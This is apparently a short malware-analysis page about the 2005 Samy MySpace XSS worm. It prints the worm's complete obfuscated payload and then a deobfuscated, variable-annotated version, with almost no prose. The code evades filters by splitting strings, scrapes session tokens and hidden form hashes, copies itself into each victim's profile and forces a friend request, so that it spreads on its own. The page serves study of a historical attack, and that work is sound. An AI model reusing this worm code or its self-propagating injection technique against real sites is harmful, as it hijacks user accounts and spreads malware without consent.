XSSワーム「Samy」の動作を解析する

analyzing_samy_xss_worm.md

この記事は移行しました。
https://akaki.io/2018/analyzing_samy_xss_worm

samy

<div id=mycode style="BACKGROUND: url('java 
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

samy.js

/*
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="
*/
var B_doubleQuote = String.fromCharCode(34);
var A_singleQuote = String.fromCharCode(39);

function g_getSelfHTML() {
  var C_html;
  try {
    var D_range = document.body.createTextRange();
    C_html = D_range.htmlText
  } catch (e) {}
  if (C_html) {
    return C_html
  } else {
    return eval('document.body.inne' + 'rHTML')
  }
}

function getData(AU_responseHTML) {
  M_friendID = getFromURL(AU_responseHTML, 'friendID');
  F_myToken = getFromURL(AU_responseHTML, 'Mytoken')
}

function getQueryParams() {
  var E_queryString = document.location.search;
  var F_queryParams = E_queryString.substring(1, E_queryString.length).split('&');
  var AS_params = new Array();
  for (var O_i = 0; O_i < F_queryParams.length; O_i++) {
    var I_param = F_queryParams[O_i].split('=');
    AS_params[I_param[0]] = I_param[1]
  }
  return AS_params
}

var J_xmlhttp1;
var AS_params = getQueryParams();
var L_myToken = AS_params['Mytoken'];
var M_friendID = AS_params['friendID'];
if (location.hostname == 'profile.myspace.com') {
  document.location = 'http://www.myspace.com' + location.pathname + location.search
} else {
  if (!M_friendID) {
    getData(g_getSelfHTML())
  }
  main()
}

function getClientFID() {
  return findIn(g_getSelfHTML(), 'up_launchIC( ' + A_singleQuote, A_singleQuote)
}

function nothing() {}

function paramsToString(AV_params) {
  var N_string = new String();
  var O_i = 0;
  for (var P_paramName in AV_params) {
    if (O_i > 0) {
      N_string += '&'
    }
    var Q_escapedParamValue = escape(AV_params[P_paramName]);
    while (Q_escapedParamValue.indexOf('+') != -1) {
      Q_escapedParamValue = Q_escapedParamValue.replace('+', '%2B')
    }
    while (Q_escapedParamValue.indexOf('&') != -1) {
      Q_escapedParamValue = Q_escapedParamValue.replace('&', '%26')
    }
    N_string += P_paramName + '=' + Q_escapedParamValue;
    O_i++
  }
  return N_string
}

function httpSend(BH_uri, BI_function, BJ_method, BK_contents) {
  if (!J_xmlhttp1) {
    return false
  }
  eval('J_xmlhttp1.onr' + 'eadystatechange=BI_function');
  J_xmlhttp1.open(BJ_method, BH_uri, true);
  if (BJ_method == 'POST') {
    J_xmlhttp1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    J_xmlhttp1.setRequestHeader('Content-Length', BK_contents.length)
  }
  J_xmlhttp1.send(BK_contents);
  return true
}

function findIn(BF_html, BB_head, BC_tail) {
  var R_indexHead = BF_html.indexOf(BB_head) + BB_head.length;
  var S_string = BF_html.substring(R_indexHead, R_indexHead + 1024);
  return S_string.substring(0, S_string.indexOf(BC_tail))
}

function getHiddenParameter(BF_html, BG_paramName) {
  return findIn(BF_html, 'name=' + B_doubleQuote + BG_paramName + B_doubleQuote + ' value=' + B_doubleQuote, B_doubleQuote)
}

function getFromURL(BF_html, BG_paramName) {
  var T_tail;
  if (BG_paramName == 'Mytoken') {
    T_tail = B_doubleQuote
  } else {
    T_tail = '&'
  }
  var U_head = BG_paramName + '=';
  var V_indexHead = BF_html.indexOf(U_head) + U_head.length;
  var W_string = BF_html.substring(V_indexHead, V_indexHead + 1024);
  var X_indexTail = W_string.indexOf(T_tail);
  var Y_paramValue = W_string.substring(0, X_indexTail);
  return Y_paramValue
}

function getXMLObj() {
  var Z_xmlhttp = false;
  if (window.XMLHttpRequest) {
    try {
      Z_xmlhttp = new XMLHttpRequest()
    } catch (e) {
      Z_xmlhttp = false
    }
  } else if (window.ActiveXObject) {
    try {
      Z_xmlhttp = new ActiveXObject('Msxml2.XMLHTTP')
    } catch (e) {
      try {
        Z_xmlhttp = new ActiveXObject('Microsoft.XMLHTTP')
      } catch (e) {
        Z_xmlhttp = false
      }
    }
  }
  return Z_xmlhttp
}

var AA_selfHTML = g_getSelfHTML();
var AB_indexHeadOfSelfPayload = AA_selfHTML.indexOf('m' + 'ycode');
var AC_string = AA_selfHTML.substring(AB_indexHeadOfSelfPayload, AB_indexHeadOfSelfPayload + 4096);  // Length of unformatted self code is 4015.
var AD_indexTailOfSelfPayload = AC_string.indexOf('D' + 'IV');
var AE_selfPayload = AC_string.substring(0, AD_indexTailOfSelfPayload);
var AF_payload;
if (AE_selfPayload) {
  AE_selfPayload = AE_selfPayload.replace('jav' + 'a', A_singleQuote + 'jav' + 'a');
  AE_selfPayload = AE_selfPayload.replace('exp' + 'r)', 'exp' + 'r)' + A_singleQuote);
  AF_payload = ' but most of all, samy is my hero. <d' + 'iv id=' + AE_selfPayload + 'D' + 'IV>'
}
var AG_heroes;

function getHome() {
  if (J_xmlhttp1.readyState != 4) {
    return
  }
  var AU_responseHTML = J_xmlhttp1.responseText;
  AG_heroes = findIn(AU_responseHTML, 'P' + 'rofileHeroes', '</td>');
  AG_heroes = AG_heroes.substring(61, AG_heroes.length);
  if (AG_heroes.indexOf('samy') == -1) {
    if (AF_payload) {
      AG_heroes += AF_payload;
      var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken');
      var AS_params = new Array();
      AS_params['interestLabel'] = 'heroes';
      AS_params['submit'] = 'Preview';
      AS_params['interest'] = AG_heroes;
      J_xmlhttp1 = getXMLObj();
      httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + AR_myToken, postHero, 'POST', paramsToString(AS_params))
    }
  }
}

function postHero() {
  if (J_xmlhttp1.readyState != 4) {
    return
  }
  var AU_responseHTML = J_xmlhttp1.responseText;
  var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken');
  var AS_params = new Array();
  AS_params['interestLabel'] = 'heroes';
  AS_params['submit'] = 'Submit';
  AS_params['interest'] = AG_heroes;
  AS_params['hash'] = getHiddenParameter(AU_responseHTML, 'hash');
  httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + AR_myToken, nothing, 'POST', paramsToString(AS_params))
}

function main() {
  var AN_clientFID = getClientFID();
  var BH_uri = '/index.cfm?fuseaction=user.viewProfile&friendID=' + AN_clientFID + '&Mytoken=' + L_myToken;
  J_xmlhttp1 = getXMLObj();
  httpSend(BH_uri, getHome, 'GET');
  xmlhttp2 = getXMLObj();
  httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=' + L_myToken, processxForm, 'GET')
}

function processxForm() {
  if (xmlhttp2.readyState != 4) {
    return
  }
  var AU_responseHTML = xmlhttp2.responseText;
  var AQ_hashcode = getHiddenParameter(AU_responseHTML, 'hashcode');
  var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken');
  var AS_params = new Array();
  AS_params['hashcode'] = AQ_hashcode;
  AS_params['friendID'] = '11851658';  // Samy Kamkar's friendID
  AS_params['submit'] = 'Add to Friends';
  httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + AR_myToken, nothing, 'POST', paramsToString(AS_params))
}

function httpSend2(BH_uri, BI_function, BJ_method, BK_contents) {
  if (!xmlhttp2) {
    return false
  }
  eval('xmlhttp2.onr' + 'eadystatechange=BI_function');
  xmlhttp2.open(BJ_method, BH_uri, true);
  if (BJ_method == 'POST') {
    xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xmlhttp2.setRequestHeader('Content-Length', BK_contents.length)
  }
  xmlhttp2.send(BK_contents);
  return true
}
/*
"></DIV>
*/